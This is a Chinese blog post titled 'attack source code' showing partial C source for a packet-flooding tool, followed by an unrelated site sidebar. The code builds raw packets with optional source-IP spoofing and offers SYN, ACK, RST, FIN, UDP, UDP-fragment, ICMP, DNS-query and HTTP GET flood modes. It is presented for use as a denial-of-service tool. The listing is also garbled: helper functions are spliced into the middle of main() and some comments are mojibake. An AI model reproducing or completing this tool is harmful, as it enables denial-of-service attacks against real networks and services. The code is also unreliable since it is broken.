attack source code

简介: 不废话,直接上代码, 先看截图use pictures; 2.source code 部分主要代码 void help_length(void){    printf("\n This is not the correct format about option \" -l \".

不废话,直接上代码,

先看截图use pictures;

2.source code

部分主要代码

void help_length(void)
{
    printf("\n This is not the correct format about option \" -l \".\n"
           " format: \" :<number> | <number>: | <number_1>:<number_2> \"\n\n");
    exit (1);
}

static unsigned short inline checksum(unsigned short *buffer,int size);
unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size);


unsigned short proto_data_len=0;
char * get_rand_str(char * __proto_char,unsigned short __proto_char_len,\
                    char * __proto_str,int str_len);
char * get_rand_dn (char *__str_str,int len);
void send_tcp      (int sockfd,struct sockaddr_in *addr,char *mode);
void send_udp      (int sockfd,struct sockaddr_in *addr);
void send_icmp     (int sockfd,struct sockaddr_in *addr);
void send_udp_frag (int sockfd,struct sockaddr_in *addr);
void send_dns_query_flood (int sockfd,struct sockaddr_in *addr);
void build_dns_querybuf (char *name_str);
void build_dns_querybuf_random (char *_str_one,char *_str_second,char *_str_suffix,char *_str_str);
void send_get_flood(int sockfd,char *uri,int send_count);
void send_synclink (int sockfd,struct sockaddr_in *addr);
void send_packets_delay();

void sig_int   (int sigo);
//static void *pthread_func(void *vptr_args);


fd_set rset,drset;

struct protocol_fake_header {
    unsigned long saddr;
    unsigned long daddr;
    char mbz;
    char proto;
    unsigned short header_len;
};

struct icmphdr {
 char type;
 char code;
 unsigned short checksum;
 unsigned short id;
 unsigned short seq;
};

struct dnshdr_prefix {
 unsigned short id;         /* random() */
 unsigned short flags;      /* 0x0100 */
 unsigned short questions;  /* 0x0001 */
 unsigned short answers;    /* 0x0000 */
 unsigned short author;     /* 0x0000 */
 unsigned short addition;   /* 0x0000 */
};


struct dnshdr_suffix {
 unsigned short int type;     /* 0x0001 */
 unsigned short int class;    /* 0x0001 */
};
    

 int i = 0;
 int a = 0;
 int port;
 int count=0;
 int nw;
 int n=0;

 int gsockfd[MAX_SOCKFD];
 unsigned int send_get_number=0;
 unsigned short hostname_len;
 unsigned short iph_len;
 unsigned short tcph_len;
 unsigned short udph_len;
 unsigned short icmph_len;
 unsigned short dnsh_prefix_len;
 unsigned short dnsh_center_len;
 unsigned short dnsh_len;
 unsigned short data_len=0;
 unsigned short pkg_len;      /* length of iphdr + udphdr + dnshdr + querybuf + suffix(4) */

 unsigned long packet_delay=0;
 char number ;
 char * QueryBuf;
 unsigned len_a=0,len_b;
 char _domain_name_char[]="0123456789abcdefghijklmnopqrstuvwxyz";
 char * p_str; /* used by Fun build_dns_querybuf */
 char * dn_suffix[]={"null","com","cn","net","org","gov","cc","biz"};
 char p_str_center[256];
 unsigned dn_suffix_tnum=6;
 unsigned short dn_suffix_num;
 char dn_suffix_len;
 unsigned long sum=0;

 unsigned long int send_count=0;
 char PRINT_MODE[20]="SYN Flood";         /* 鏄剧ず鏇翠负鐞嗚В鐨勬敾鍑荤被鍨?鐢ㄥ湪绋嬪簭杩愯鏃舵樉绀?*/
 char *pbuf;
 char datasize[60];

 char *pds;                   /* used by datasize */
 unsigned short int  data_size_max=0;
 unsigned short int  data_size_min=0;
 unsigned short int  tcp_syn_data_size_max=TCP_SYN_DATA_SIZE_MAX;
 unsigned short int  tcp_syn_data_size_min=TCP_SYN_DATA_SIZE_MIN;
 unsigned short int  udp_data_size_max;
 unsigned short int  udp_data_size_min;
 unsigned short int  icmp_data_size_max=ICMP_DATA_SIZE_MAX;
 unsigned short int  icmp_data_size_min=ICMP_DATA_SIZE_MIN;
 int sockfd;
 int dn;
 int i,ii;
 int _proto_char_len;
 char proto_data[1460]="rand";
 char buffer[1501]; /* store data from gsockfd[i] (server ) */
 char buf[20];
 int buf_len;
 char ipdata[20];
 char srcip[20];
 char domainname[50];
 char hostname[50];
 char hostport[8];
 char uri[1024]=URI;
 char mode[8]=MODE;
 char http_head_get[1024]=HTTP_HEAD_GET;

 struct sockaddr_in to;
 struct hostent *host;

 struct timeval tv,pdelay;
 struct timeval pstart,pend;
 unsigned long int pdelay_sec=0,pdelay_usec=0;
 float  timeuse;

 struct iphdr *iph;
 struct udphdr *udph;
 struct dnshdr_prefix *dnsh_prefix;
 struct dnshdr_suffix *dnsh_suffix;


/*  ============= Main Function ========= */
int main(int argc,char **argv)
{
    if(argc!=3 && argc!=5 && argc!=7 && argc!=9 && argc!=11 && argc != 13 && argc != 15)
        help();
    int on=1;
    bzero(ipdata,20);
    bzero(srcip,20);
    bzero(&to,sizeof(to));
    int cn;
    
    while((cn=getopt(argc,argv,"c:m:h:p:S:s:u:l:d:"))!=EOF)
    {
    switch(cn)
    {
    case 'm':
        strcpy(mode,optarg);
        if(strcmp((mode),"syn")==0) {
            strcpy(PRINT_MODE,"SYN Flood");
            break;
            }
        if(strcmp((mode),"asyn")==0) {
            strcpy(PRINT_MODE,"SYN+ACK Flood");
            break;
            }
        if(strcmp((mode),"dsyn")==0) {
            strcpy(PRINT_MODE,"SYN+data Flood");
            break;
            }
        if(strcmp((mode),"dns")==0) {
            strcpy(PRINT_MODE,"DNS Query Flood");
            break;
            }
        if(strcmp((mode),"udp")==0) {
            strcpy(PRINT_MODE,"UDP Flood");
            break;
            }
        if(strcmp((mode),"icmp")==0) {
            strcpy(PRINT_MODE,"ICMP ECHO Flood");
            break;
            }
        if(strcmp((mode),"ufrag")==0) {
            strcpy(PRINT_MODE,"UDP Frag Flood");
            break;
            }
        if(strcmp((mode),"ack")==0) {
            strcpy(PRINT_MODE,"TCP ACK Flood");
            break;
            }
        if(strcmp((mode),"pack")==0) {
            strcpy(PRINT_MODE,"TCP PSH ACK Flood");
            break;
            }
        if(strcmp((mode),"rack")==0) {
            strcpy(PRINT_MODE,"TCP RST ACK Flood");
            break;
            }
        if(strcmp((mode),"fack")==0) {
            strcpy(PRINT_MODE,"TCP FIN ACK Flood");
            break;
            }
        if(strcmp((mode),"gack")==0) {
            strcpy(PRINT_MODE,"HTTP GET ACK Flood");
            break;
            }
        if(strcmp((mode),"gfld")==0) {
            strcpy(PRINT_MODE,"HTTP GET Flood");
            break;
            }
        if(strcmp((mode),"synclink")==0) {
            strcpy(PRINT_MODE,"Sync Link test");
            break;
            }
        else
            help();
        break;
    case 'h':
        strcpy(hostname,optarg);
        hostname_len=strlen(hostname);
        if(isdigit(hostname[hostname_len-1])) {
            to.sin_addr.s_addr=inet_addr(hostname);
            strcpy(ipdata,hostname);
            }
        else if((host=gethostbyname(hostname))==NULL) {
                printf(" resolv ip failed.\n");
                exit(1);
                }
            else {
                inet_ntop(AF_INET,host->h_addr_list[0],ipdata,sizeof(ipdata));
                    to.sin_addr.s_addr=inet_addr(ipdata);
                }
        break;
    case 'p':
        strcpy(hostport,optarg);
        break;
    case 'S':
        strcpy(srcip,optarg);
        break;
    case 'c':
        send_count=atoi(optarg);
        break;
    case 'u':
        strcpy(uri,optarg);
        break;
    case 's':
        strncpy(proto_data,optarg,strlen(optarg));
        break;
    case 'd':
        strcpy(buf,optarg);
        buf_len=strlen(buf);
        if(buf[buf_len-2]=='m' && buf[buf_len-1]=='s') {
            buf[buf_len-2]=0;    
            pdelay_sec=0;
            pdelay_usec=(long int)atoi(buf);
            }
        else if(buf[buf_len-1]=='s') {
            buf[buf_len-1]=0;    
            pdelay_sec=atoi(buf);
            pdelay_usec=0;
            }
            else if(isdigit(buf[buf_len-1])) {
                    pdelay_sec=0;
                    pdelay_usec=(long int)atoi(buf);
                    }
                else {printf(" enter time error.\n");exit(1);}
        break;
    case 'l':
        strcpy(datasize,optarg);
        if( (48 <= datasize[0] && datasize[0] <=58) && (48 <= datasize[strlen(datasize)-1] && datasize[strlen(datasize)-1]<= 58) )
            if( datasize[0]==':' ) {                           /*    :20   */
                pds=strtok(datasize,":");
                if(pds !=NULL) { data_size_min=DATA_SIZE_MIN; data_size_max=atoi(pds); }
                else  help_length();
                }
            else if( datasize[strlen(datasize)-1] == ':' ) {   /*   4:   */
                pds=strtok(datasize,":");
                if(pds != NULL) { data_size_min=atoi(pds); data_size_max=DATA_SIZE_MAX;}
                else  help_length();
                }
            else {                                             /*    5:9    */
                pds=strtok(datasize,":");
                if(pds != NULL)  data_size_min=atoi(pds);
                pds=strtok(NULL,":");
                if(pds != NULL)  data_size_max=atoi(pds);
                }
        else {
            }

        if( data_size_max == 0) data_size_max=data_size_min;
        if( data_size_max<data_size_min)
            {
            printf(" data_size_min(100) > data_size_max(%d) !!!\n",data_size_max);
            exit (1);
            }
        if( data_size_max>1460)
            {
            printf(" data_size_max is 1460 !\n");
            exit (1);
            }
        break;
    default:
        help();
        break;        
    }
    }

    if (data_size_min == 0 && data_size_max == 0)
        {
        data_size_min=DATA_SIZE_MIN;
        data_size_max=DATA_SIZE_MAX;
        }
//        printf(" datasize min=%d max=%d\n",data_size_min,data_size_max);
/* 寰楀埌闅忔満鐨勫煙鍚嶅瓧绗?*/    
char * get_rand_dn (char *___str_str,int str_len)
{
    int len=strlen(_domain_name_char);

    for (ii=0;ii<str_len;ii++){
       ___str_str[ii]=_domain_name_char[rand()%(len-1)+1];
    }

    //  printf (" over for \n");
  return ___str_str;
}


void send_packets_delay( )
{
    
  pdelay.tv_sec=pdelay_sec;
  pdelay.tv_usec=pdelay_usec;
#ifdef DEBUG
  printf(" pdelay.sec=%ld\n",pdelay.tv_sec);
  printf(" pdelay.usec=%ld\n",pdelay.tv_usec);
#endif

  FD_ZERO(&drset);
  FD_SET(sockfd,&drset);
 
  select(sockfd+1,NULL,NULL,NULL,&pdelay);
}



/* ============ Pthread Function =========== */
/* static void *pthread_func(void *vptr_args)
{
    printf("  enter pthread[]\n");
     int sockfd;
    fd_set rset;
    if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0){
        printf(" create sockfd error from pthread_fun.\n");    
        pthread_exit("Thank you for the CPU time");
        }
    a=connect(sockfd,(struct sockaddr *)&to,sizeof(to));
    if(a==0)
        {
          write(sockfd,http_head_get,strlen(http_head_get));
        printf(" send get request to server .\n");
        
         select
        tv.tv_sec=0;
        tv.tv_usec=5;
        FD_ZERO(&rset);
        FD_SET(sockfd,&rset);
        select(sockfd+1,&rset,NULL,NULL,&tv);
         while (1)
            {
            nw++;
            if(FD_ISSET(sockfd,&rset)) {
                printf("  enter while\n");
                n=read(sockfd,buffer,1500);
                printf(" read data ....");
                if(n==0) {
                    printf(" Accept fin and close sockfd[]\n");
                    close(sockfd);
                    FD_CLR(sockfd,&rset);
                    break;
                    }
                if(n<0) {
                    printf(" Accept rst and close sockfd[]\n");
                    close(sockfd);
                    FD_CLR(sockfd,&rset);
                    break;
                    }
                else
                    printf("read data\n");
*/
//                } /* end of if(FD_ */
/*            else

                printf("  not can be read \n");
            } */ /* end of while */
//        }    /* end of if(a==0) */
/*    else
        {
        
        printf(" connect_status:%d  errno=%d close_sockfd[]\n\n",a,errno);
        close(sockfd);
        }
    send_get_number++;
return 0;
}
*/


/* =============== check sum function =============== */

static unsigned short inline checksum(unsigned short *buffer,int size){

    unsigned long cksum = 0;
    
    while(size>1){
        cksum += *buffer++;
        size  -= sizeof(unsigned short);
    }
    
    if(size){
        cksum += *(unsigned char *)buffer;
    }
    
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >> 16);        
    
    return((unsigned short )(~cksum));
}

unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size)
{
char *buf;
struct protocol_fake_header *pfh;
int pfh_len = sizeof(struct protocol_fake_header);

buf = (char *)malloc(pfh_len+size);
pfh = (struct protocol_fake_header *)buf;
memcpy(buf+pfh_len,buffer,size);

pfh->saddr = saddr;
pfh->daddr = daddr;
pfh->mbz = 0;

if(strcmp(proto,"tcp")==0) {
    pfh->proto = IPPROTO_TCP;
    pfh->header_len = htons(tcph_len);
    }

if(strcmp(proto,"udp")==0) {
    pfh->proto = IPPROTO_UDP;
    pfh->header_len = htons(udph_len);
    }

sum = checksum((unsigned short*)buf,pfh_len+size);
free(buf);
return (sum);
}


 

目录
相关文章
|
2天前
|
人工智能 自然语言处理 JavaScript
2026年Windows+Ollama本地部署OpenClaw保姆级教程:本地AI Agent+阿里云上快速搭建
2026年OpenClaw凭借本地部署、私有化运行的特性,成为打造个人智能体的核心工具,而Ollama作为轻量级本地大模型管理工具,能让OpenClaw摆脱对云端大模型的依赖,实现**本地推理、数据不泄露、全流程私有化**的智能体验。本文基于Windows 11系统,从硬件环境准备、Ollama安装与模型定制、OpenClaw部署配置、技能扩展到常见问题排查,打造保姆级本地部署教程,同时补充阿里云OpenClaw(Clawdbot)快速部署步骤,兼顾本地私有化需求与云端7×24小时运行需求,文中所有代码命令均可直接复制执行,确保零基础用户也能快速搭建属于自己的本地智能体。
4166 18
|
9天前
|
存储 人工智能 负载均衡
阿里云OpenClaw多Agent实战宝典:从极速部署到AI团队搭建,一个人=一支高效军团
在AI自动化时代,单一Agent的“全能模式”早已无法满足复杂任务需求——记忆臃肿导致响应迟缓、上下文污染引发逻辑冲突、无关信息加载造成Token浪费,这些痛点让OpenClaw的潜力大打折扣。而多Agent架构的出现,彻底改变了这一现状:通过“单Gateway+多分身”模式,让一个Bot在不同场景下切换独立“大脑”,如同组建一支分工明确的AI团队,实现创意、写作、编码、数据分析等任务的高效协同。
3566 27
|
13天前
|
人工智能 自然语言处理 监控
OpenClaw skills重构量化交易逻辑:部署+AI全自动炒股指南(2026终极版)
2026年,AI Agent领域最震撼的突破来自OpenClaw(原Clawdbot)——这个能自主规划、执行任务的智能体,用50美元启动资金创造了48小时滚雪球至2980美元的奇迹,收益率高达5860%。其核心逻辑堪称教科书级:每10分钟扫描Polymarket近千个预测市场,借助Claude API深度推理,交叉验证NOAA天气数据、体育伤病报告、加密货币链上情绪等多维度信息,捕捉8%以上的定价偏差,再通过凯利准则将单仓位严格控制在总资金6%以内,实现低风险高频套利。
7170 62
|
3天前
|
人工智能 JSON JavaScript
手把手教你用 OpenClaw + 飞书,打造专属 AI 机器人
手把手教你用 OpenClaw(v2026.2.22-2)+ 飞书,10分钟零代码搭建专属AI机器人!内置飞书插件,无需额外安装;支持Claude等主流模型,命令行一键配置。告别复杂开发,像聊同事一样自然对话。
1535 5
手把手教你用 OpenClaw + 飞书,打造专属 AI 机器人
|
3天前
|
人工智能 网络安全 数据安全/隐私保护
Docker部署OpenClaw(Clawdbot)攻略+阿里云部署OpenClaw 2026版教程
OpenClaw(前身为Clawdbot、Moltbot)作为一款高性能的AI代理平台,凭借自然语言驱动的任务自动化、多平台无缝协作、轻量化容器化架构等核心优势,成为2026年办公自动化、智能协作、跨端指令执行的主流工具,可实现邮件处理、日程管理、航班值机、多IM平台消息联动等丰富功能,无需复杂开发即可快速搭建专属AI助手。Docker作为轻量级容器化技术,能完美解决OpenClaw部署过程中的环境冲突、依赖配置、跨平台兼容等问题,实现一键搭建、快速启动、灵活迁移的部署体验。
1120 2
|
1月前
|
人工智能 自然语言处理 Shell
🦞 如何在 OpenClaw (Clawdbot/Moltbot) 配置阿里云百炼 API
本教程指导用户在开源AI助手Clawdbot中集成阿里云百炼API,涵盖安装Clawdbot、获取百炼API Key、配置环境变量与模型参数、验证调用等完整流程,支持Qwen3-max thinking (Qwen3-Max-2026-01-23)/Qwen - Plus等主流模型,助力本地化智能自动化。
46254 159
🦞 如何在 OpenClaw (Clawdbot/Moltbot) 配置阿里云百炼 API
|
4天前
|
存储 人工智能 BI
2026年OpenClaw(Clawdbot)极简部署:接入小红书全自动运营,一个人=一支团队
2026年的小红书运营赛道,AI自动化工具已成为核心竞争力。OpenClaw(原Clawdbot)凭借“Skill插件化集成、全流程自动化、跨平台联动”的核心优势,彻底颠覆传统运营模式——从热点追踪、文案创作、封面设计到自动发布、账号互动,仅需一句自然语言指令,即可实现全链路闭环。而阿里云作为OpenClaw官方推荐的云端部署载体,2026年推出专属秒级部署方案,预装全套运行环境与小红书运营插件,让零基础用户也能10分钟完成部署,轻松拥有7×24小时在线的“专属运营团队”。
1302 6
|
8天前
|
人工智能 自然语言处理 安全
2026年OpenClaw Skills安装指南:Top20必装清单+阿里云上部署实操(附代码命令)
OpenClaw(原Clawdbot)的强大之处,不仅在于其开源免费的AI执行引擎核心,更在于其庞大的Skills生态——截至2026年2月,官方技能市场ClawHub已收录1700+各类技能插件,覆盖办公自动化、智能交互、生活服务等全场景。但对新手而言,面对海量技能往往无从下手,盲目安装不仅导致功能冗余,还可能引发权限冲突与安全风险。
1954 9
|
5天前
|
人工智能 JavaScript API
2026年Windows系统本地部署OpenClaw指南:附阿里云简易部署OpenClaw方案,零技术基础也能玩转AI助手
在AI办公自动化全面普及的2026年,OpenClaw(原Clawdbot、Moltbot)凭借“自然语言指令操控、多任务自动化执行、多工具无缝集成”的核心优势,成为个人与轻量办公群体打造专属AI助手的首选。它彻底打破了传统AI“只会对话不会执行”的局限——“手”可读写本地文件、执行代码、操控命令行,“脚”能联网搜索、访问网页并分析内容,“大脑”则可灵活接入通义千问、OpenAI等云端API,或利用本地GPU运行模型,真正实现“聊天框里办大事”。
1230 2

热门文章

最新文章